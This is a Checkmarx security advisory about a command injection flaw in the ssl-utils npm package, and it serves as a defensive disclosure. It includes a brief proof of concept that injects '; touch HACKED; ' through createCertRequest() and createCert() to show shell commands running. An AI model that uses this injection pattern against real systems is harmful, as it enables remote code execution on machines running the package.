Defend your code against **SpringShell** in two ways: read our **blog post** with what-to-do advice, and use **Checkmarx SCA** to test your applications.

Command Injection Vulnerability In The Ssl-Utils NPM Package

NODE NODEJS JAVASCRIPT NPM RCE TYPESCRIPT

Adar Zandberg Apr 27, 2021

Details Overview

Summary

The ssl-utils package is a wrapper around OpenSSL commands for Node.js. The package is vulnerable to command injection. Exploitation is possible via unsanitized shell metacharacters provided to the createCertRequest() and the createCert() functions.

Product

ssl-utils NPM package through 1.0.0.

Impact

This issue may lead to remote code execution on a machine running ssl-utils.

Steps To Reproduce

```
var ssl = require('ssl-utils');
ssl.createCertRequest({}, "; touch HACKED; ", "", ()=>{})
// or:
ssl.createCert({}, "; touch HACKED; ", "", "", "", () => {})
```

Expected Result:

A file named `HACKED` has been created.

Remediation

No fix is currently available. It is recommended to sanitize every untrusted input used by your applications.

Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst Adar Zandberg.

Resources

1. ssl-utils on NPM

© 2022 Checkmarx Ltd.